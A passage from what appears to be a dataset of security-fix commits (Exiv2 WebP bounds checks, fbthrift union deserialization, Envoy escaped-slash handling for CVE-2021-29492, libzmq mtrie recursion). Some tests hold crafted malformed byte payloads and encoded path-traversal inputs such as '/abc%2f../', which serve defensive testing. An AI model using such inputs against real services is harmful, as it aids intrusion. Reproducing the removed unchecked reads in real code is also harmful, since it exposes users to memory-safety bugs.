readOrThrow(*io_, payload.pData_, payload.size_, Exiv2::kerCorruptedMetadata);\n+ if ( payload.size_ % 2 ) {\n+ byte c;\n+ readOrThrow(*io_, &c, 1, Exiv2::kerCorruptedMetadata);\n+ }\n \n /* Chunk with information about features\n used in the file. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X) && !has_vp8x) {\n has_vp8x = true;\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X) && !has_size) {\n+ enforce(size >= 10, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf[WEBP_TAG_SIZE];\n \n", "related": false}, {"section": "@@ -227,6 +235,7 @@ namespace Exiv2 {\n }\n #endif\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8) && !has_size) {\n+ enforce(size >= 10, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf[2];\n \n", "related": false}, {"section": "@@ -244,11 +253,13 @@ namespace Exiv2 {\n \n /* Chunk with with lossless image data. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8L) && !has_alpha) {\n+ enforce(size >= 5, Exiv2::kerCorruptedMetadata);\n if ((payload.pData_[4] & WEBP_VP8X_ALPHA_BIT) == WEBP_VP8X_ALPHA_BIT) {\n has_alpha = true;\n }\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8L) && !has_size) {\n+ enforce(size >= 5, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf_w[2];\n byte size_buf_h[3];\n", "related": false}, {"section": "@@ -276,11 +287,13 @@ namespace Exiv2 {\n \n /* Chunk with animation frame. */\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANMF) && !has_alpha) {\n+ enforce(size >= 6, Exiv2::kerCorruptedMetadata);\n if ((payload.pData_[5] & 0x2) == 0x2) {\n has_alpha = true;\n }\n }\n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_ANMF) && !has_size) {\n+ enforce(size >= 12, Exiv2::kerCorruptedMetadata);\n has_size = true;\n byte size_buf[WEBP_TAG_SIZE];\n \n", "related": false}, {"section": "@@ -309,16 +322,22 @@ namespace Exiv2 {\n \n io_->seek(12, BasicIo::beg);\n while ( !io_->eof() && (uint64_t) io_->tell() < filesize) {\n- io_->read(chunkId.pData_, 4);\n- io_->read(size_buff, 4);\n+ readOrThrow(*io_, chunkId.pData_, 4, Exiv2::kerCorruptedMetadata);\n+ readOrThrow(*io_, size_buff, 4, Exiv2::kerCorruptedMetadata);\n+\n+ const uint32_t size_u32 = Exiv2::getULong(size_buff, littleEndian);\n \n- long size = Exiv2::getULong(size_buff, littleEndian);\n+ // Check that `size_u32` is safe to cast to `long`.\n+ enforce(size_u32 <= static_cast(std::numeric_limits::max()),\n+ Exiv2::kerCorruptedMetadata);\n+ const long size = static_cast(size_u32);\n \n DataBuf payload(size);\n- io_->read(payload.pData_, size);\n+ readOrThrow(*io_, payload.pData_, size, Exiv2::kerCorruptedMetadata);\n if ( io_->tell() % 2 ) io_->seek(+1,BasicIo::cur); // skip pad\n \n if (equalsWebPTag(chunkId, WEBP_CHUNK_HEADER_VP8X)) {\n+ enforce(size >= 1, Exiv2::kerCorruptedMetadata);\n if (has_icc){\n payload.pData_[0] |= WEBP_VP8X_ICC_BIT;\n } else {", "related": false}]} +{"owner": "facebook", "repo": "fbthrift", "language": "C++", "file_name": "thrift/test/tablebased/SerializerTest.cpp", "commit_id": "bfda1efa547dce11a38592820916db01b05b9339", "commit_message": "Fix handling of invalid union data in table-based serializer\n\nSummary:\nFix handling of invalid union data in the table-based serializer. Previously if the input contained duplicate union data, previous active member of the union was overwritten without calling the destructor of the old object, potentially causing a memory leak. In addition to that, if the second piece of data was incomplete the wrong destructor would be called during stack unwinding causing a segfault, data corruption or other undesirable effects.\n\nFix the issue by clearing the union if there is an active member.\n\nAlso fix the type of the data member that holds the active field id (it's `int`, not `FieldID`).\n\nReviewed By: yfeldblum\n\nDifferential Revision: D26440248\n\nfbshipit-source-id: fae9ab96566cf07e14dabe9663b2beb680a01bb4", "patch": "@@ -356,3 +356,25 @@ TEST(SerializerTest, UnionValueOffsetIsZero) {\n u.set_fieldB({});\n EXPECT_EQ(static_cast(&u), &*u.fieldB_ref());\n }\n+\n+TEST(SerializerTest, DuplicateUnionData) {\n+ // Test that we can handle invalid serialized input with duplicate and\n+ // incomplete union data.\n+ const char data[] =\n+ \"\\x0c\" // type = TType::T_STRUCT\n+ \"\\x00\\x01\" // fieldId = 1 (unionField)\n+ \"\\x0b\" // type = TType::T_STRING\n+ \"\\x00\\x01\" // fieldId = 1 (stringField)\n+ \"\\x00\\x00\\x00\\x00\" // size = 0\n+ \"\\x00\" // end of unionField\n+\n+ \"\\x0c\" // type = TType::T_STRUCT\n+ \"\\x00\\x01\" // fieldId = 1 (unionField)\n+ \"\\x13\" // type = TType::T_FLOAT\n+ \"\\x00\\x02\"; // fieldId = 2 (floatField), value is missing\n+\n+ EXPECT_THROW(\n+ BinarySerializer::deserialize(\n+ folly::StringPiece(data, sizeof(data))),\n+ std::out_of_range);\n+}", "sections": [{"section": "@@ -356,3 +356,25 @@ TEST(SerializerTest, UnionValueOffsetIsZero) {\n u.set_fieldB({});\n EXPECT_EQ(static_cast(&u), &*u.fieldB_ref());\n }\n+\n+TEST(SerializerTest, DuplicateUnionData) {\n+ // Test that we can handle invalid serialized input with duplicate and\n+ // incomplete union data.\n+ const char data[] =\n+ \"\\x0c\" // type = TType::T_STRUCT\n+ \"\\x00\\x01\" // fieldId = 1 (unionField)\n+ \"\\x0b\" // type = TType::T_STRING\n+ \"\\x00\\x01\" // fieldId = 1 (stringField)\n+ \"\\x00\\x00\\x00\\x00\" // size = 0\n+ \"\\x00\" // end of unionField\n+\n+ \"\\x0c\" // type = TType::T_STRUCT\n+ \"\\x00\\x01\" // fieldId = 1 (unionField)\n+ \"\\x13\" // type = TType::T_FLOAT\n+ \"\\x00\\x02\"; // fieldId = 2 (floatField), value is missing\n+\n+ EXPECT_THROW(\n+ BinarySerializer::deserialize(\n+ folly::StringPiece(data, sizeof(data))),\n+ std::out_of_range);\n+}", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "source/common/http/conn_manager_config.h", "commit_id": "5333b928d8bcffa26ab19bf018369a835f697585", "commit_message": "Implement handling of escaped slash characters in URL path\n\nFixes: CVE-2021-29492\n\nSigned-off-by: Yan Avlasov ", "patch": "@@ -49,12 +49,14 @@ namespace Http {\n COUNTER(downstream_rq_4xx) \\\n COUNTER(downstream_rq_5xx) \\\n COUNTER(downstream_rq_completed) \\\n+ COUNTER(downstream_rq_failed_path_normalization) \\\n COUNTER(downstream_rq_http1_total) \\\n COUNTER(downstream_rq_http2_total) \\\n COUNTER(downstream_rq_http3_total) \\\n COUNTER(downstream_rq_idle_timeout) \\\n COUNTER(downstream_rq_non_relative_path) \\\n COUNTER(downstream_rq_overload_close) \\\n+ COUNTER(downstream_rq_redirected_with_normalized_path) \\\n COUNTER(downstream_rq_response_before_rq_complete) \\\n COUNTER(downstream_rq_rx_reset) \\\n COUNTER(downstream_rq_timeout) \\\n@@ -466,6 +468,14 @@ class ConnectionManagerConfig {\n * @return LocalReply configuration which supplies mapping for local reply generated by Envoy.\n */\n virtual const LocalReply::LocalReply& localReply() const PURE;\n+\n+ /**\n+ * @return the action HttpConnectionManager should take when receiving client request\n+ * with URI path containing %2F, %2f, %5c or %5C sequences.\n+ */\n+ virtual envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager::\n+ PathWithEscapedSlashesAction\n+ pathWithEscapedSlashesAction() const PURE;\n };\n } // namespace Http\n } // namespace Envoy", "sections": [{"section": "@@ -49,12 +49,14 @@ namespace Http {\n COUNTER(downstream_rq_4xx) \\\n COUNTER(downstream_rq_5xx) \\\n COUNTER(downstream_rq_completed) \\\n+ COUNTER(downstream_rq_failed_path_normalization) \\\n COUNTER(downstream_rq_http1_total) \\\n COUNTER(downstream_rq_http2_total) \\\n COUNTER(downstream_rq_http3_total) \\\n COUNTER(downstream_rq_idle_timeout) \\\n COUNTER(downstream_rq_non_relative_path) \\\n COUNTER(downstream_rq_overload_close) \\\n+ COUNTER(downstream_rq_redirected_with_normalized_path) \\\n COUNTER(downstream_rq_response_before_rq_complete) \\\n COUNTER(downstream_rq_rx_reset) \\\n COUNTER(downstream_rq_timeout) \\\n", "related": false}, {"section": "@@ -466,6 +468,14 @@ class ConnectionManagerConfig {\n * @return LocalReply configuration which supplies mapping for local reply generated by Envoy.\n */\n virtual const LocalReply::LocalReply& localReply() const PURE;\n+\n+ /**\n+ * @return the action HttpConnectionManager should take when receiving client request\n+ * with URI path containing %2F, %2f, %5c or %5C sequences.\n+ */\n+ virtual envoy::extensions::filters::network::http_connection_manager::v3::HttpConnectionManager::\n+ PathWithEscapedSlashesAction\n+ pathWithEscapedSlashesAction() const PURE;\n };\n } // namespace Http\n } // namespace Envoy", "related": false}]} +{"owner": "envoyproxy", "repo": "envoy", "language": "C", "file_name": "test/common/http/conn_manager_impl_test.cc", "commit_id": "5333b928d8bcffa26ab19bf018369a835f697585", "commit_message": "Implement handling of escaped slash characters in URL path\n\nFixes: CVE-2021-29492\n\nSigned-off-by: Yan Avlasov ", "patch": "@@ -522,6 +522,103 @@ TEST_F(HttpConnectionManagerImplTest, RouteShouldUseSantizedPath) {\n filter_callbacks_.connection_.raiseEvent(Network::ConnectionEvent::RemoteClose);\n }\n \n+// Paths with escaped slashes rejected with 400 when configured.\n+TEST_F(HttpConnectionManagerImplTest, PathWithEscapedSlashesRejected) {\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::REJECT_REQUEST;\n+ testPathNormalization(\n+ TestRequestHeaderMapImpl{{\":authority\", \"host\"}, {\":path\", \"/abc%5c../\"}, {\":method\", \"GET\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"400\"}, {\"connection\", \"close\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_failed_path_normalization_.value());\n+}\n+\n+// Paths with escaped slashes redirected when configured.\n+TEST_F(HttpConnectionManagerImplTest, PathWithEscapedSlashesRedirected) {\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_REDIRECT;\n+ testPathNormalization(\n+ TestRequestHeaderMapImpl{{\":authority\", \"host\"}, {\":path\", \"/abc%2f../\"}, {\":method\", \"GET\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"307\"}, {\"location\", \"/abc/../\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_redirected_with_normalized_path_.value());\n+}\n+\n+// Paths with escaped slashes rejected with 400 instead of redirected for gRPC request.\n+TEST_F(HttpConnectionManagerImplTest, PathWithEscapedSlashesRejectedIfGRPC) {\n+ // This test is slightly weird as it sends gRPC \"request\" over H/1 client of the\n+ // HttpConnectionManagerImplTest. However it is sufficient to test the behavior of path\n+ // normalization as it is determined by the content type only.\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_REDIRECT;\n+ testPathNormalization(TestRequestHeaderMapImpl{{\":authority\", \"host\"},\n+ {\":path\", \"/abc%2fdef\"},\n+ {\":method\", \"GET\"},\n+ {\"content-type\", \"application/grpc\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"200\"},\n+ {\"connection\", \"close\"},\n+ {\"grpc-status\", \"13\"},\n+ {\"content-type\", \"application/grpc\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_failed_path_normalization_.value());\n+}\n+\n+// Test that requests with escaped slashes are redirected when configured. Redirection\n+// occurs after Chromium URL normalization or merge slashes operations.\n+TEST_F(HttpConnectionManagerImplTest, EscapedSlashesRedirectedAfterOtherNormalizations) {\n+ normalize_path_ = true;\n+ merge_slashes_ = true;\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_REDIRECT;\n+ // Both Chromium URL normalization and merge slashes should happen if request is redirected\n+ // due to escaped slash sequences.\n+ testPathNormalization(TestRequestHeaderMapImpl{{\":authority\", \"host\"},\n+ {\":path\", \"/abc%2f../%5cdef//\"},\n+ {\":method\", \"GET\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"307\"}, {\"location\", \"/def/\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_redirected_with_normalized_path_.value());\n+}\n+\n+TEST_F(HttpConnectionManagerImplTest, AllNormalizationsWithEscapedSlashesForwarded) {\n+ setup(false, \"\");\n+ // Enable path sanitizer\n+ normalize_path_ = true;\n+ merge_slashes_ = true;\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_FORWARD;\n+ const std::string original_path = \"/x/%2E%2e/z%2f%2Fabc%5C../def\";\n+ const std::string normalized_path = \"/z/def\";\n+\n+ auto* filter = new MockStreamFilter();\n+\n+ EXPECT_CALL(filter_factory_, createFilterChain(_))\n+ .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> void {\n+ callbacks.addStreamDecoderFilter(StreamDecoderFilterSharedPtr{filter});\n+ }));\n+\n+ EXPECT_CALL(*filter, decodeComplete());\n+ EXPECT_CALL(*filter, decodeHeaders(_, true))\n+ .WillRepeatedly(Invoke([&](RequestHeaderMap& header_map, bool) -> FilterHeadersStatus {\n+ EXPECT_EQ(normalized_path, header_map.getPathValue());\n+ return FilterHeadersStatus::StopIteration;\n+ }));\n+\n+ EXPECT_CALL(*filter, setDecoderFilterCallbacks(_));\n+\n+ EXPECT_CALL(*codec_, dispatch(_)).WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {\n+ decoder_ = &conn_manager_->newStream(response_encoder_);\n+ RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{\n+ {\":authority\", \"host\"}, {\":path\", original_path}, {\":method\", \"GET\"}}};\n+ decoder_->decodeHeaders(std::move(headers), true);\n+ return Http::okStatus();\n+ }));\n+\n+ // Kick off the incoming data.\n+ Buffer::OwnedImpl fake_input(\"1234\");\n+ conn_manager_->onData(fake_input, false);\n+\n+ EXPECT_CALL(*filter, onStreamComplete());\n+ EXPECT_CALL(*filter, onDestroy());\n+ filter_callbacks_.connection_.raiseEvent(Network::ConnectionEvent::RemoteClose);\n+}\n+\n TEST_F(HttpConnectionManagerImplTest, RouteOverride) {\n setup(false, \"\");\n ", "sections": [{"section": "@@ -522,6 +522,103 @@ TEST_F(HttpConnectionManagerImplTest, RouteShouldUseSantizedPath) {\n filter_callbacks_.connection_.raiseEvent(Network::ConnectionEvent::RemoteClose);\n }\n \n+// Paths with escaped slashes rejected with 400 when configured.\n+TEST_F(HttpConnectionManagerImplTest, PathWithEscapedSlashesRejected) {\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::REJECT_REQUEST;\n+ testPathNormalization(\n+ TestRequestHeaderMapImpl{{\":authority\", \"host\"}, {\":path\", \"/abc%5c../\"}, {\":method\", \"GET\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"400\"}, {\"connection\", \"close\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_failed_path_normalization_.value());\n+}\n+\n+// Paths with escaped slashes redirected when configured.\n+TEST_F(HttpConnectionManagerImplTest, PathWithEscapedSlashesRedirected) {\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_REDIRECT;\n+ testPathNormalization(\n+ TestRequestHeaderMapImpl{{\":authority\", \"host\"}, {\":path\", \"/abc%2f../\"}, {\":method\", \"GET\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"307\"}, {\"location\", \"/abc/../\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_redirected_with_normalized_path_.value());\n+}\n+\n+// Paths with escaped slashes rejected with 400 instead of redirected for gRPC request.\n+TEST_F(HttpConnectionManagerImplTest, PathWithEscapedSlashesRejectedIfGRPC) {\n+ // This test is slightly weird as it sends gRPC \"request\" over H/1 client of the\n+ // HttpConnectionManagerImplTest. However it is sufficient to test the behavior of path\n+ // normalization as it is determined by the content type only.\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_REDIRECT;\n+ testPathNormalization(TestRequestHeaderMapImpl{{\":authority\", \"host\"},\n+ {\":path\", \"/abc%2fdef\"},\n+ {\":method\", \"GET\"},\n+ {\"content-type\", \"application/grpc\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"200\"},\n+ {\"connection\", \"close\"},\n+ {\"grpc-status\", \"13\"},\n+ {\"content-type\", \"application/grpc\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_failed_path_normalization_.value());\n+}\n+\n+// Test that requests with escaped slashes are redirected when configured. Redirection\n+// occurs after Chromium URL normalization or merge slashes operations.\n+TEST_F(HttpConnectionManagerImplTest, EscapedSlashesRedirectedAfterOtherNormalizations) {\n+ normalize_path_ = true;\n+ merge_slashes_ = true;\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_REDIRECT;\n+ // Both Chromium URL normalization and merge slashes should happen if request is redirected\n+ // due to escaped slash sequences.\n+ testPathNormalization(TestRequestHeaderMapImpl{{\":authority\", \"host\"},\n+ {\":path\", \"/abc%2f../%5cdef//\"},\n+ {\":method\", \"GET\"}},\n+ TestResponseHeaderMapImpl{{\":status\", \"307\"}, {\"location\", \"/def/\"}});\n+ EXPECT_EQ(1U, stats_.named_.downstream_rq_redirected_with_normalized_path_.value());\n+}\n+\n+TEST_F(HttpConnectionManagerImplTest, AllNormalizationsWithEscapedSlashesForwarded) {\n+ setup(false, \"\");\n+ // Enable path sanitizer\n+ normalize_path_ = true;\n+ merge_slashes_ = true;\n+ path_with_escaped_slashes_action_ = envoy::extensions::filters::network::http_connection_manager::\n+ v3::HttpConnectionManager::UNESCAPE_AND_FORWARD;\n+ const std::string original_path = \"/x/%2E%2e/z%2f%2Fabc%5C../def\";\n+ const std::string normalized_path = \"/z/def\";\n+\n+ auto* filter = new MockStreamFilter();\n+\n+ EXPECT_CALL(filter_factory_, createFilterChain(_))\n+ .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> void {\n+ callbacks.addStreamDecoderFilter(StreamDecoderFilterSharedPtr{filter});\n+ }));\n+\n+ EXPECT_CALL(*filter, decodeComplete());\n+ EXPECT_CALL(*filter, decodeHeaders(_, true))\n+ .WillRepeatedly(Invoke([&](RequestHeaderMap& header_map, bool) -> FilterHeadersStatus {\n+ EXPECT_EQ(normalized_path, header_map.getPathValue());\n+ return FilterHeadersStatus::StopIteration;\n+ }));\n+\n+ EXPECT_CALL(*filter, setDecoderFilterCallbacks(_));\n+\n+ EXPECT_CALL(*codec_, dispatch(_)).WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {\n+ decoder_ = &conn_manager_->newStream(response_encoder_);\n+ RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{\n+ {\":authority\", \"host\"}, {\":path\", original_path}, {\":method\", \"GET\"}}};\n+ decoder_->decodeHeaders(std::move(headers), true);\n+ return Http::okStatus();\n+ }));\n+\n+ // Kick off the incoming data.\n+ Buffer::OwnedImpl fake_input(\"1234\");\n+ conn_manager_->onData(fake_input, false);\n+\n+ EXPECT_CALL(*filter, onStreamComplete());\n+ EXPECT_CALL(*filter, onDestroy());\n+ filter_callbacks_.connection_.raiseEvent(Network::ConnectionEvent::RemoteClose);\n+}\n+\n TEST_F(HttpConnectionManagerImplTest, RouteOverride) {\n setup(false, \"\");\n ", "related": false}]} +{"owner": "zeromq", "repo": "libzmq", "language": "C++", "file_name": "src/generic_mtrie_impl.hpp", "commit_id": "522abc73766364d176d7f97ba544cf38fd3f79bb", "commit_message": "Merge pull request #3959 from bluca/fuzzers\n\nProblem: mtrie use of non-tail recursion leads to stack overflow", "patch": "@@ -35,6 +35,7 @@ along with this program. If not, see .\n \n #include \n #include \n+#include \n \n #include \"err.hpp\"\n #include \"macros.hpp\"\n@@ -69,85 +70,88 @@ template generic_mtrie_t::~generic_mtrie_t ()\n template \n bool generic_mtrie_t::add (prefix_t prefix_, size_t size_, value_t *pipe_)\n {\n- return add_helper (prefix_, size_, pipe_);\n-}\n-\n-template \n-bool generic_mtrie_t::add_helper (prefix_t prefix_,\n- size_t size_,\n- value_t *pipe_)\n-{\n- // We are at the node corresponding to the prefix. We are done.\n- if (!size_) {\n- const bool result = !_pipes;\n- if (!_pipes) {\n- _pipes = new (std::nothrow) pipes_t;\n- alloc_assert (_pipes);\n+ generic_mtrie_t *it = this;\n+\n+ while (size_) {\n+ const unsigned char c = *prefix_;\n+\n+ if (c < it->_min || c >= it->_min + it->_count) {\n+ // The character is out of range of currently handled\n+ // characters. We have to extend the table.\n+ if (!it->_count) {\n+ it->_min = c;\n+ it->_count = 1;\n+ it->_next.node = NULL;\n+ } else if (it->_count == 1) {\n+ const unsigned char oldc = it->_min;\n+ generic_mtrie_t *oldp = it->_next.node;\n+ it->_count = (it->_min < c ? c - it->_min : it->_min - c) + 1;\n+ it->_next.table = static_cast (\n+ malloc (sizeof (generic_mtrie_t *) * it->_count));\n+ alloc_assert (it->_next.table);\n+ for (unsigned short i = 0; i != it->_count; ++i)\n+ it->_next.table[i] = 0;\n+ it->_min = std::min (it->_min, c);\n+ it->_next.table[oldc - it->_min] = oldp;\n+ } else if (it->_min < c) {\n+ // The new character is above the current character range.\n+ const unsigned short old_count = it->_count;\n+ it->_count = c - it->_min + 1;\n+ it->_next.table = static_cast (realloc (\n+ it->_next.table, sizeof (generic_mtrie_t *) * it->_count));\n+ alloc_assert (it->_next.table);\n+ for (unsigned short i = old_count; i != it->_count; i++)\n+ it->_next.table[i] = NULL;\n+ } else {\n+ // The new character is below the current character range.\n+ const unsigned short old_count = it->_count;\n+ it->_count = (it->_min + old_count) - c;\n+ it->_next.table = static_cast (realloc (\n+ it->_next.table, sizeof (generic_mtrie_t *) * it->_count));\n+ alloc_assert (it->_next.table);\n+ memmove (it->_next.table + it->_min - c, it->_next.table,\n+ old_count * sizeof (generic_mtrie_t *));\n+ for (unsigned short i = 0; i != it->_min - c; i++)\n+ it->_next.table[i] = NULL;\n+ it->_min = c;\n+ }\n }\n- _pipes->insert (pipe_);\n- return result;\n- }\n \n- const unsigned char c = *prefix_;\n- if (c < _min || c >= _min + _count) {\n- // The character is out of range of currently handled\n- // characters. We have to extend the table.\n- if (!_count) {\n- _min = c;\n- _count = 1;\n- _next.node = NULL;\n- } else if (_count == 1) {\n- const unsigned char oldc = _min;\n- generic_mtrie_t *oldp = _next.node;\n- _count = (_min < c ? c - _min : _min - c) + 1;\n- _next.table = static_cast (\n- malloc (sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- for (unsigned short i = 0; i != _count; ++i)\n- _next.table[i] = 0;\n- _min = std::min (_min, c);\n- _next.table[oldc - _min] = oldp;\n- } else if (_min < c) {\n- // The new character is above the current character range.\n- const unsigned short old_count = _count;\n- _count = c - _min + 1;\n- _next.table = static_cast (\n- realloc (_next.table, sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- for (unsigned short i = old_count; i != _count; i++)\n- _next.table[i] = NULL;\n+ // If next node does not exist, create one.\n+ if (it->_count == 1) {\n+ if (!it->_next.node) {\n+ it->_next.node = new (std::nothrow) generic_mtrie_t;\n+ alloc_assert (it->_next.node);\n+ ++(it->_live_nodes);\n+ }\n+\n+ ++prefix_;\n+ --size_;\n+ it = it->_next.node;\n } else {\n- // The new character is below the current character range.\n- const unsigned short old_count = _count;\n- _count = (_min + old_count) - c;\n- _next.table = static_cast (\n- realloc (_next.table, sizeof (generic_mtrie_t *) * _count));\n- alloc_assert (_next.table);\n- memmove (_next.table + _min - c, _next.table,\n- old_count * sizeof (generic_mtrie_t *));\n- for (unsigned short i = 0; i != _min - c; i++)\n- _next.table[i] = NULL;\n- _min = c;\n- }\n- }\n+ if (!it->_next.table[c - it->_min]) {\n+ it->_next.table[c - it->_min] =\n+ new (std::nothrow) generic_mtrie_t;\n+ alloc_assert (it->_next.table[c - it->_min]);\n+ ++(it->_live_nodes);\n+ }\n \n- // If next node does not exist, create one.\n- if (_count == 1) {\n- if (!_next.node) {\n- _next.node = new (std::nothrow) generic_mtrie_t;\n- alloc_assert (_next.node);\n- ++_live_nodes;\n+ ++prefix_;\n+ --size_;\n+ it = it->_next.table[c - it->_min];\n }\n- return _next.node->add_helper (prefix_ + 1, size_ - 1, pipe_);\n }\n- if (!_next.table[c - _min]) {\n- _next.table[c - _min] = new (std::nothrow) generic_mtrie_t;\n- alloc_assert (_next.table[c - _min]);\n- ++_live_nodes;\n+\n+ // We are at the node corresponding to the prefix. We are done.\n+ const bool result = !it->_pipes;\n+ if (!it->_pipes) {\n+ it->_pipes = new (std::nothrow) pipes_t;\n+ alloc_assert (it->_pipes);\n }\n- return _next.table[c - _min]->add_helper (prefix_ + 1, size_ - 1, pipe_);\n-}\n+ it->_pipes->insert (pipe_);\n \n+ return result;\n+}\n \n template \n template \n@@ -158,261 +162,371 @@ void generic_mtrie_t::rm (value_t *pipe_,\n Arg arg_,\n bool call_on_uniq_)\n {\n+ // This used to be implemented as a non-tail recursive travesal of the trie,\n+ // which means remote clients controlled the depth of the recursion and the\n+ // stack size.\n+ // To simulate the non-tail recursion, with post-recursion changes depending on\n+ // the result of the recursive call, a stack is used to re-visit the same node\n+ // and operate on it again after children have been visisted.\n+ // A boolean is used to record whether the node had already been visited and to\n+ // determine if the pre- or post- children visit actions have to be taken.\n+ // In the case of a node with (N > 1) children, the node has to be re-visited\n+ // N times, in the correct order after each child visit.\n+ std::list stack;\n unsigned char *buff = NULL;\n- rm_helper (pipe_, &buff, 0, 0, func_, arg_, call_on_uniq_);\n- free (buff);\n-}\n-\n-template \n-template \n-void generic_mtrie_t::rm_helper (value_t *pipe_,\n- unsigned char **buff_,\n- size_t buffsize_,\n- size_t maxbuffsize_,\n- void (*func_) (prefix_t data_,\n- size_t size_,\n- Arg arg_),\n- Arg arg_,\n- bool call_on_uniq_)\n-{\n- // Remove the subscription from this node.\n- if (_pipes && _pipes->erase (pipe_)) {\n- if (!call_on_uniq_ || _pipes->empty ()) {\n- func_ (*buff_, buffsize_, arg_);\n- }\n-\n- if (_pipes->empty ()) {\n- LIBZMQ_DELETE (_pipes);\n- }\n- }\n-\n- // Adjust the buffer.\n- if (buffsize_ >= maxbuffsize_) {\n- maxbuffsize_ = buffsize_ + 256;\n- *buff_ = static_cast (realloc (*buff_, maxbuffsize_));\n- alloc_assert (*buff_);\n- }\n-\n- switch (_count) {\n- case 0:\n- // If there are no subnodes in the trie, return.\n- break;\n- case 1:\n- // If there's one subnode (optimisation).\n-\n- (*buff_)[buffsize_] = _min;\n- buffsize_++;\n- _next.node->rm_helper (pipe_, buff_, buffsize_, maxbuffsize_, func_,\n- arg_, call_on_uniq_);\n-\n- // Prune the node if it was made redundant by the removal\n- if (_next.node->is_redundant ()) {\n- LIBZMQ_DELETE (_next.node);\n- _count = 0;\n- --_live_nodes;\n- zmq_assert (_live_nodes == 0);\n+ size_t maxbuffsize = 0;\n+ struct iter it = {this, NULL, NULL, 0, 0, 0, false};\n+ stack.push_back (it);\n+\n+ while (!stack.empty ()) {\n+ it = stack.back ();\n+ stack.pop_back ();\n+\n+ if (!it.processed_for_removal) {\n+ // Remove the subscription from this node.\n+ if (it.node->_pipes && it.node->_pipes->erase (pipe_)) {\n+ if (!call_on_uniq_ || it.node->_pipes->empty ()) {\n+ func_ (buff, it.size, arg_);\n+ }\n+\n+ if (it.node->_pipes->empty ()) {\n+ LIBZMQ_DELETE (it.node->_pipes);\n+ }\n }\n- break;\n- default:\n- // If there are multiple subnodes.\n- rm_helper_multiple_subnodes (buff_, buffsize_, maxbuffsize_, func_,\n- arg_, call_on_uniq_, pipe_);\n- break;\n- }\n-}\n \n-template \n-template \n-void generic_mtrie_t::rm_helper_multiple_subnodes (\n- unsigned char **buff_,\n- size_t buffsize_,\n- size_t maxbuffsize_,\n- void (*func_) (prefix_t data_, size_t size_, Arg arg_),\n- Arg arg_,\n- bool call_on_uniq_,\n- value_t *pipe_)\n-{\n- // New min non-null character in the node table after the removal\n- unsigned char new_min = _min + _count - 1;\n- // New max non-null character in the node table after the removal\n- unsigned char new_max = _min;\n- for (unsigned short c = 0; c != _count; c++) {\n- (*buff_)[buffsize_] = _min + c;\n- if (_next.table[c]) {\n- _next.table[c]->rm_helper (pipe_, buff_, buffsize_ + 1,\n- maxbuffsize_, func_, arg_,\n- call_on_uniq_);\n-\n- // Prune redundant nodes from the mtrie\n- if (_next.table[c]->is_redundant ()) {\n- LIBZMQ_DELETE (_next.table[c]);\n-\n- zmq_assert (_live_nodes > 0);\n- --_live_nodes;\n- } else {\n- // The node is not redundant, so it's a candidate for being\n- // the new min/max node.\n- //\n- // We loop through the node array from left to right, so the\n- // first non-null, non-redundant node encountered is the new\n- // minimum index. Conversely, the last non-redundant, non-null\n- // node encountered is the new maximum index.\n- if (c + _min < new_min)\n- new_min = c + _min;\n- if (c + _min > new_max)\n- new_max = c + _min;\n+ // Adjust the buffer.\n+ if (it.size >= maxbuffsize) {\n+ maxbuffsize = it.size + 256;\n+ buff =\n+ static_cast (realloc (buff, maxbuffsize));\n+ alloc_assert (buff);\n }\n- }\n- 